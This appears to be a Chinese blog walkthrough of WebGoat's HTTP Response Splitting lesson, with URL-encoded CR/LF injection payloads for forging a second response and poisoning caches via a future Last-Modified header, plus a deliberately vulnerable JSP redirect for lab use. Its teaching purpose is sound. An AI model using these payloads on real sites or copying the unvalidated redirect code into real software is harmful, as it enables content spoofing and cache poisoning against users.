WebGoat教程解析——HTTP Response Splitting
发现很多人在学习WebGoat上的HTTP Splitting教程之后有些疑惑,所以我也就在这里讨论一下这个问题。
HTTP Response Splitting翻译为HTTP应答拆分,是利用Web应用程序缺乏有效的输入验证,允许攻击者将CR 和LF 字符插入到应用程序响应的报头,从而将服务器的回应“拆分”成两个不同的HTTP 消息。攻击者通过发送一经过精心构造的HTTP请求,试图完全控制第二个响应来实现攻击。
一些Web 应用程序使用用户输入的一部分产生响应中的报头的值,常见的例子是根据用户提交的值进行的重定向目标URL。例如某Web应用会根据用户选择不同的语言作为参数传递并用于响应报头中触发对相关网页的重定向,其代码如下:
<% Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
正常情况下,当用户输入其选择的语言的时候,比如english,那么会跳转到/by_lang.jsp?lang=English页面,其响应如下:
HTTP/1.1 302 Moved TemporarilyDate:Wed,24 Dec 2003 12:53:28 Location: http://victim.com/by_lang.jsp?lang=englishServer: Apache Coyote/1.1Content-Type: text/htmlSet-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE Connection:Close
从以上可以看到的是:输入的参数(english)已经提交到HTTP头中,这样我们就可以构造特殊的字符来拆分HTTP头,并到其后追加一个自己构造的头。比如我们提交如下的参数(已经过URLEncoding):
foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Hacked</html>
那么服务器返回的响应如下:
HTTP/1.1 302 Moved TemporarilyDate:Wed,24 Dec 2003 15:26:41 GMT Location: http://victim.com/by_lang.jsp?lang=foobarContent-Length:0HTTP/1.1 200 OKContent-Type: text/htmlContent-length: 19<html>Hacked</html>Server: Apache Coyote/1.1Content-Type: text/htmlSet-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE Connection:Close
其中第一个响应是302 重定向的响应,第二个响应是我们自己构造的响应。当客户端收到第一个响应之后会像相应头的Location指向的目标发起第二个请求,而这个时候客户端会认为第二个响应正是针对第二个请求的响应,从而达到了欺骗的目的。
WebGoat里面有针对这个漏洞的教程。登录到WebGoat的界面后,访问General?HTTP Splitting页面即可进入HTTP应答拆分攻击的教程。这个分为两个阶段,第一阶段仅仅只是要求能够使用HTTP应答拆分的漏洞进行攻击,第二阶段则更进一步的要求能够使用HTTP响应头的Last-Modified字段污染使用者的缓存。
为了判断页面是否可能存在HTTP应答拆分漏洞,我们先启动WebScarab,并且把浏览器的代理设置为WebScarab。然后进行正常输入后,从下图WebScarab上分析正常输入的请求与响应后可以发现在服务器的响应头中,重定向地址里面的Language这个参数恰好是我们通过浏览器提交的参数,这样就存在HTTP应答拆分漏洞的可能性。
我们可以进一步通过渗透性测试来判断是否真的存在这样的漏洞。首先来看看正常情况下服务器的响应信息如下:
HTTP/1.1 302 Moved TemporarilyServer: Apache-Coyote/1.1Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=testContent-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Fri, 03 Aug 2012 06:52:48 GMT
我们把这个响应修改为我们希望的样子:
HTTP/1.1 302 Moved TemporarilyServer: Apache-Coyote/1.1Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=testContent-length: 0HTTP/1.1 200 OKContent-Type: text/html;Content-length: 19<html>hacked</html>Content-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Fri, 03 Aug 2012 06:52:48 GMT
那么中间从test到</html>的部分就是我们将要提交的内容,把这部分内容进行一下URLEncode之后转换成如下形式:
test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
这一段字符串就可以作为参数来进行提交了,我们把这段数据输入到WebGoat教程的的输入框里面并提交,就可以看到课程第一阶段成功完成:
刷新一下进入课程的第二阶段,课程的第二阶段要求我们能进一步污染受害者的缓存。为了做到这一点,我们需要在前面提交的参数中,自己伪造的HTTP响应头中添加一个Last-Modified字段,并且把它的值设为一个未来的值。这样当浏览器在下次请求同一个页面的时候发送If-Modified-Since字段并且这个值是一个未来的值,服务器在发现这个值大于该页面最后修改时间之后将返回HTTP的304响应码表示该页面没有更新过,从而达到了污染受害者缓存的目的。下面就是我们希望的能够污染受害者缓存的服务器响应,其中同样从test到</html>部分就是我们需要提交的参数:
HTTP/1.1 302 Moved TemporarilyServer: Apache-Coyote/1.1Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=testContent-length: 0HTTP/1.1 200 OKContent-Type: text/html;Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT Content-length: 19<html>hacked</html>Content-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Fri, 03 Aug 2012 06:52:48 GMT
同样把需要提交的部分内容进行一下URLEncode之后转换成如下形式:
test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aLast-Modified%3a+Thu%2c+01+Jan+2099+12%3a00%3a00+GMT+%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b
把这段数据输入到WebGoat并提交之后就可以看到课程成功完成:
这边有个需要特别提出来解释一下的地方。可能有些细心的人已经发现了,当我们在WebGoat中提交上面所说的内容之后服务器真实的响应如下:
HTTP/1.1 302 Moved TemporarilyServer: Apache-Coyote/1.1Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test%0d%0aContent-length%3a+0%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a+text%2fhtml%3b%0d%0aContent-length%3a+19%0d%0a%0d%0a%26lt%3bhtml%26gt%3bhacked%26lt%3b%2fhtml%26gt%3b%0d%0aContent-Type: text/html;charset=ISO-8859-1Content-length: 0Date: Fri, 03 Aug 2012 08:53:22 GMT
这并不是我们一开始所期望的样子,那么这是怎么回事儿呢?这是因为现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。所以如果想要在自己的实验室环境中重现对HTTP应答拆分漏洞的成功利用,可以尝试安装比较老的Web服务器版本,比如Tomcat 4.1.24之前的版本。另外客户端也会有些关系,因为客户端可能会在每次请求后完全收取服务器响应回来的数据,并且把超出范围的多余数据丢弃,这样也可以避免HTTP应答拆分攻击可能造成的影响。我在自己的实验室环境中重现这个问题的时候采用了Apache 2.0.48并且通过mod_proxy来作为HTTP代理,Tomcat 4.1.23作为Web服务器,然后Web应用使用了下面这个有漏洞的JSP程序,就可以看到成功利用HTTP应答拆分漏洞之后的输出。
<%@ page contentType="text/html; charset=UTF-8"%><% String user_language = request.getParameter("user_language");System.out.println(user_language);response.sendRedirect("/"+user_language+".jsp"); %>